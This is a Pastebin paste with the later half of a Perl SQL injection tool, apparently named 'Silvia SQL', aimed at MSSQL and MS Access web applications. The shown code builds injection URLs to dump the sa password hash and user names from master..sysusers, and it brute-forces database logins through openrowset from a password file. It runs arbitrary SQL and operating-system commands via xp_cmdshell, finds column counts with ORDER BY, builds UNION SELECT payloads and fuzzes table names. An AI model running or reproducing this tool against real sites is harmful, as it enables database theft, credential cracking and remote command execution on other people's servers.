  773. $web_url=$web_url.$tambah;
  774. modus();
  775. teknik_parse();
  776. $web_url=$old;
  777.  
  778. if($able =~ /no/)
  779. {
  780. print "\nSorry we can not view password hash...you should check it manually\n";
  781. $logs= "\nSorry we can not view password hash...you should check it manually\n";
  782. tulis();
  783. }
  784. else
  785. {
  786. print "\nW00t!!! You have seen encypted password for user sa !!!\n";
  787.  
  788. print "\nTry to dump a top password from table sysusers,please wait\n";
  789.  
  790. $logs= "\nW00t!!! You have seen encypted password for user sa !!!\n";
  791.  
  792. $logs.= "\nTry to dump a top password from table sysusers,please wait\n";
  793. tulis();
  794.  
  795. $old=$web_url;
  796. $tambah="+and+1=convert(int,(select+top+1+master.dbo.fn_varbintohexstr(password)+from+master..sysusers))--";
  797. $web_url=$web_url.$tambah;
  798. modus();
  799. teknik_parse();
  800. $web_url=$old;
  801. print "\nTry to dump a top name from table sysusers,please wait\n";
  802. $logs= "\nTry to dump a top name from table sysusers,please wait\n";
  803. tulis();
  804. $old=$web_url;
  805. $tambah="+and+1=convert(int,(select+top+1+name+from+master..sysusers))--";
  806. $web_url=$web_url.$tambah;
  807. modus();
  808. teknik_parse();
  809. $web_url=$old;
  810.  
  811. }
  812.  
  813. }
  814.  
  815. }
  816.  
  817. sub modul8()
  818. {
  819. ulangproxsi();
  820. $old=$web_url;
  821. print "\nEnter MSSQL Database to connect:";
  822. chomp( our $db = <STDIN> );
  823.  
  824. print "\nEnter MSSQL Host to connect:";
  825. chomp( our $hostname = <STDIN> );
  826.  
  827. print "\nEnter MSSQL User to connect:";
  828. chomp( our $user = <STDIN> );
  829.  
  830. print "\nDo you know the password ?(y/n)";
  831. chomp( our $know = <STDIN> );
  832.  
  833.  
  834. #tulis log
  835. $logs= "\nEnter MSSQL Database to connect:";
  836. $logs.=$db;
  837.  
  838. $logs.= "\nEnter MSSQL Host to connect:";
  839. $logs.=$hostname;
  840.  
  841. $logs.= "\nEnter MSSQL User to connect:";
  842. $logs.=$user;
  843.  
  844. $logs.="\nDo you know the password ?(y/n)";
  845. $logs.=$know;
  846.  
  847. #eof tulis log
  848.  
  849.  
  850. if(($know=~/y/) || ($know=~/Y/) || ($know=~/yes/))
  851. {
  852. print "\nEnter MSSQL password:";
  853. chomp( our $password = <STDIN> );
  854. $logs= "\nEnter MSSQL password:";
  855. $logs.=$password;
  856. tulis();
  857.  
  858. }
  859. else
  860. {
  861. #dict attack
  862. $hasil="none";
  863. open (FILE, "password1.txt") || die "Can't open password1.txt: $!\n";
  864. while (<FILE>)
  865. {
  866. $password=$_;
  867. print "\n[+]Testing for connexion using password:".$password;
  868. $logs= "\n[+]Testing for connexion using password:".$password;
  869. tulis();
  870. $tambahan=" union select * from openrowset('SQLoledb','server=$hostname;uid=$user;pwd=$password','select * from master..sysusers')--";
  871. $web_url=$web_url.$tambahan;
  872. modus();
  873. if(($content=~/blocked access to STATEMENT/) || ($content=~/access denied/) || ($content=~/Login failed/) || ($content=~/Incorrect syntax/))
  874. {
  875. print "\nLogin failed using password:$password";
  876. }
  877. else
  878. {
  879. print "\n----------------------------------------------";
  880. print "\n[+]Woot no error message found using this password !!! possible login succeed !!!";
  881. $logs= "\n----------------------------------------------";
  882. $logs.="\n[+]Woot no error message found using this password !!! possible login succeed !!!";
  883. tulis();
  884. }
  885.  
  886. }
  887. close(FILE);
  888. #eof dict attack
  889.  
  890. }
  891. print "\nEnter sql command to execute:";
  892. chomp( our $sql = <STDIN> );
  893. print "\nEnter ms dos command to execute:";
  894. chomp( our $cmd = <STDIN> );
  895.  
  896. $logs= "\nEnter sql command to execute:";
  897. $logs.=$sql;
  898. $logs.= "\nEnter ms dos command to execute:";
  899. $logs.=$cmd;
  900. tulis();
  901.  
  902.  
  903. $tambahan=" union select * from openrowset('SQLoledb','server=$hostname;uid=$user;pwd=$password','$sql')--";
  904. $web_url=$web_url.$tambahan;
  905. modus();
  906. if(($content=~/blocked access to STATEMENT/) || ($content=~/access denied/) || ($content=~/Login failed/) || ($content=~/Incorrect syntax/))
  907. {
  908. print "\nSorry failed to execute your sql command on target !!!\n";
  909. $logs= "\nSorry failed to execute your sql command on target !!!\n";
  910. tulis();
  911. }
  912. else
  913. {
  914. print "\nServer doesnt respond with error message, maybe your sql command has been executed !!!\n";
  915. $logs= "\nServer doesnt respond with error message, maybe your sql command has been executed !!!\n";
  916. tulis();
  917. }
  918. $web_url=$old;
  919. print "\nTrying to exec your ms dos command on target\n";
  920. $logs= "\nTrying to exec your ms dos command on target\n";
  921. tulis();
  922. $tambahan="; EXEC opendatasource('SQLoledb','Persist Securit Info=False;DataSource=$db;UserID=$user;Password=$password').master.dbo.xp_cmdshell '$cmd';";
  923. $web_url=$web_url.$tambahan;
  924. modus();
  925.  
  926.  
  927. if(($content=~/blocked access to STATEMENT/) || ($content=~/access denied/) || ($content=~/Login failed/) || ($content=~/Incorrect syntax/))
  928. {
  929. print "\nSorry failed to execute your ms dos command on target !!!\n";
  930. $logs= "\nSorry failed to execute your ms dos command on target !!!\n";
  931. tulis();
  932. }
  933. else
  934. {
  935. print "\nServer doesnt respond with error message, maybe your ms dos command has been executed !!!\n";
  936. $logs= "\nServer doesnt respond with error message, maybe your ms dos command has been executed !!!\n";
  937. tulis();
  938. }
  939.  
  940.  
  941.  
  942. }
  943. sub modul9()
  944. {
  945. ulangproxsi();
  946. print "\n[+]Checking url(s) using order+by :";
  947. $logs= "\n[+]Checking url(s) using order+by :";
  948. tulis();
  949. findcol();
  950. if($colength =~ /not found/)
  951. {
  952. }
  953. else
  954. {
  955. pus_tabel();
  956. }
  957. }
  958.  
  959. sub pus_tabel()
  960. {
  961. print "\n----Trying to fuzz table name(s) in current database, please wait---\n";
  962. $logs= "\n----Trying to fuzz table name(s) in current database, please wait---\n";
  963. tulis();
  964. foreach $testabel(@fuzz_tables)
  965. {
  966. $kres='#';
  967. $old=$web_url;
  968. $int21h="+from+";
  969. $web_url=$homedarkc0dedarkc0decom.$int21h.$testabel.$kres;
  970. modus();
  971. if(($content =~ /cannot find the input table/) or ($content =~ /Syntax error/))
  972. {
  973. print "-";
  974. }
  975. else
  976. {
  977. print "\n[+]Found a table called:".$testabel."\n";
  978.  
  979. $logs= "\n[+]Found a table called:".$testabel."\n";
  980. tulis();
  981. push(@vivi,$testabel);
  982.  
  983. }
  984.  
  985. $web_url=$old;
  986. }
  987.  
  988. $size = @vivi;
  989. if($size<1)
  990. {
  991. print "\nSorry !!! Table name can not be found !!!\n";
  992. $logs= "\nSorry !!! Table name can not be found !!!\n";
  993. tulis();
  994. }
  995. }
  996. sub findcol()
  997. {
  998. $next="wisdom";
  999. $awal=1;
  1000. $maks=50;
  1001. $seror="The Microsoft Jet database engine does not recognize";
  1002. $order="+order+by+";
  1003. $kres='#';
  1004. while (($awal<$maks) && ($next ne "no"))
  1005. {
  1006. $old=$web_url;
  1007. $web_url=$web_url.$order.$awal.$kres;
  1008. print "\nChecking url:$web_url";
  1009. $logs= "\nChecking url:$web_url";
  1010. tulis();
  1011. modus();
  1012. if($content =~ /Microsoft Jet database engine does not recognize/)
  1013. {
  1014. our $colength=$awal-1;
  1015. $next="no";
  1016. }
  1017. else
  1018. {
  1019. print "\n-> no error found here !";
  1020. $logs="\n-> no error found here !";
  1021. tulis();
  1022. $colength="Sorry column length not found !";
  1023. }
  1024. $web_url=$old;
  1025.  
  1026. ++$awal;
  1027. }
  1028. $panjang=$colength+1;
  1029.  
  1030. print "\n[++]W00t!!! Found Column Length: $colength";
  1031. $logs= "\n[++]W00t!!! Found Column Length: $colength";
  1032. tulis();
  1033. $mywisdom="+union+all+select+";
  1034. $count=2;
  1035. $code="1";
  1036. while ($count < $panjang)
  1037. {
  1038. $code=$code.",".$count;
  1039. ++$count;
  1040. }
  1041.  
  1042.  
  1043. our $sqli=$web_url.$mywisdom.$code.$kres;
  1044. our $homedarkc0dedarkc0decom=$web_url.$mywisdom.$code;
  1045. print "\n[+]SQLI url:".$sqli;
  1046. $logs= "\n[+]SQLI url:".$sqli;
  1047. tulis();
  1048.  
  1049. }
  1050.  
  1051. sub modul10()
  1052. {
  1053. print "\n******************Silvia SQL Help Module****************\n";
  1054.  
  1055. print "Help module will be available soon !!!";
  1056.  
  1057.  
  1058.  
  1059. print "\n******************Silvia SQL Help Module****************\n";
  1060. }
  1061.  
  1062. sub modul11()
  1063. {
  1064.  
  1065. }
  1066. sub ulangproxsi()
  1067. {
  1068. if (defined $web_url)
  1069. {
  1070. }
  1071. else
  1072. {
  1073. print "Do you want to use proxy url ? (y/n)";
  1074. $ans=<>;
  1075.  
  1076. $logs="Do you want to use proxy url ? (y/n)$ans";
  1077. tulis();
  1078.  
  1079. if($ans=~"y")
  1080. {
  1081. $mywisdom="yes";
  1082. print "\nExample of proxy url format: http://ip_address:port_number";
  1083. print "\nType proxy url:";
  1084. chomp( our $proxy_url = <STDIN> );
  1085. rearrange_this_proxy();
  1086. print "\n(must include http://";
  1087. print "\nType target url:";
  1088. chomp( our $web_url = <STDIN> );
  1089. rearrange_this_web();
  1090. print "\n**********working please wait**************\n";
  1091. print "[+]Your proxy:$proxy_url\n";
  1092. $logs= "\nExample of proxy url format: http://ip_address:port_number";
  1093. $logs.= "\nType proxy url:";
  1094. $logs.=$proxy_url;
  1095.  
  1096. $logs.= "\nType target url:";
  1097. $logs.=$web_url;
  1098. $logs.= "\n**********working please wait**************\n";
  1099. $logs.= "[+]Your proxy:$proxy_url\n";
  1100. tulis();
  1101.  
  1102. }
  1103. else
  1104. {
  1105. $mywisdom="no";
  1106. print "\nmust include http://";
  1107.  
  1108. print "\nType target url:";
  1109. chomp( our $web_url = <STDIN> );
  1110. print "\n**********working please wait**************\n";
  1111. $logs= "\nType target url:";
  1112. $logs.=$web_url;
  1113. $logs.="\n**********working please wait**************\n";
  1114. tulis();
  1115.  
  1116. }
  1117. }
  1118. }
  1119.  
  1120. sub askproxsi()
  1121. {
  1122. print "Do you want to use proxy url ? (y/n)";
  1123. $ans=<>;
  1124. $logs="Do you want to use proxy url ? (y/n)$ans";
  1125. if($ans=~"y")
  1126. {
  1127. $mywisdom="yes";
  1128. print "\nExample of proxy url format: http://ip_address:port_number";
  1129. print "\nType proxy url:";
  1130. chomp( our $proxy_url = <STDIN> );
  1131. rearrange_this_proxy();
  1132. print "\nmust include http://";
  1133.  
  1134. print "\nType target url:";
  1135. chomp( our $web_url = <STDIN> );
  1136. rearrange_this_web();
  1137.  
  1138. print "\n**********working please wait**************\n";
  1139. print "[+]Your proxy:$proxy_url\n";
  1140.  
  1141. $logs= "\nExample of proxy url format: http://ip_address:port_number";
  1142. $logs.= "\nType proxy url:";
  1143. $logs.=$proxy_url;
  1144.  
  1145. $logs.= "\nType target url:";
  1146. $logs.=$web_url;
  1147. $logs.= "\n**********working please wait**************\n";
  1148. $logs.= "[+]Your proxy:$proxy_url\n";
  1149. tulis();
  1150. cekvulnerprox();
  1151. }
  1152. else
  1153. {
  1154. $mywisdom="no";
  1155. print "\nType target url:";
  1156. chomp( our $web_url = <STDIN> );
  1157. print "\n**********working please wait**************\n";
  1158. $logs="\nType target url:$web_url";
  1159.  
  1160. $logs.="\n**********working please wait**************\n";
  1161. tulis();
  1162. ceknoprox();
  1163. }
  1164. }
  1165. sub modus()
  1166. {
  1167. if(our $mywisdom=~"yes")
  1168. {
  1169. roksi();
  1170. }
  1171. else
  1172. {
  1173. tanpa_proksi();
  1174. }
  1175.  
  1176. }
  1177.  
  1178. sub cekvulnerprox()
  1179. {
  1180. #cek kuote
  1181. $url_old=$web_url;
  1182. $web_url =~ s/\"//g;
  1183. $web_url =~s/$/\'/;
  1184. print "[+] Checking url : $web_url\n";
  1185. $logs="[+] Checking url : $web_url\n";
  1186. tulis();
  1187. roksi();
  1188. has_error();
  1189. $web_url=$url_old;
  1190. }
  1191.  
  1192. sub ceknoprox()
  1193. {
  1194. #cek kuote
  1195. $url_old=$web_url;
  1196. $web_url =~ s/\"//g;
  1197. $web_url =~s/$/\'/;
  1198. print "[+] Checking url : $web_url\n";
  1199. $logs="[+] Checking url : $web_url\n";
  1200. tulis();
  1201.  
  1202. tanpa_proksi();
  1203.  
  1204. has_error();
  1205. $web_url=$url_old;
  1206.  
  1207. }
  1208.  
  1209. sub has_error()
  1210. {
  1211. if($content =~m/Microsoft JET Database/ || $content =~m/ODBC Microsoft Access Driver/)
  1212. {
  1213. print "[++]Target Could be Vulnerable in MS Access Injection!! w00t !!!\n";
  1214. $logs="[++]Target Could be Vulnerable in MS Access Injection!! w00t !!!\n";
  1215. tulis();
  1216. }
  1217. elsif($content =~m/Microsoft OLE DB Provider for SQL Server/ || $content =~m/Unclosed quotation mark/)
  1218. {
  1219. print "[++]Target Could be Vulnerable in MSSQL Injection!! w00t !!!\n";
  1220. $logs="[++]Target Could be Vulnerable in MSSQL Injection!! w00t !!!\n";
  1221. tulis();
  1222. }
  1223. else
  1224. {
  1225. print "[-]Sorry no error message found !! target maybe not vulnerable for mssql injection or ms jet injection or it has other type of bug(s) !! \n";
  1226. $logs="[-]Sorry no error message found !! target maybe not vulnerable for mssql injection or ms jet injection or it has other type of bug(s) !! \n";
  1227. tulis();
  1228. }
  1229.  
  1230. }
  1231. sub roksi()
  1232. {
  1233. our $ua = LWP::UserAgent->new;
  1234. $ua->proxy('http', $proxy_url); ## proxy_url contains somthing like http://10.10.10.10:1234/
  1235. $ua->timeout(10);
  1236. ## now reading the webpage
  1237. our $request = HTTP::Request->new(GET => $web_url);
  1238. our $response = $ua->request($request);
  1239. our $content = $response->content();
  1240. }
  1241. sub tanpa_proksi()
  1242. {
  1243. our $ua = LWP::UserAgent->new;
  1244. our $request = HTTP::Request->new(GET => $web_url);
  1245. our $response = $ua->request($request);
  1246. our $content = $response->content();
  1247. }
  1248. sub kubus_clear()
  1249. {
  1250. our $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
  1251. }
  1252. sub utama()
  1253. {
  1254. kubus_clear();
  1255. halo();
  1256. operasi();
  1257. }
  1258. utama();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!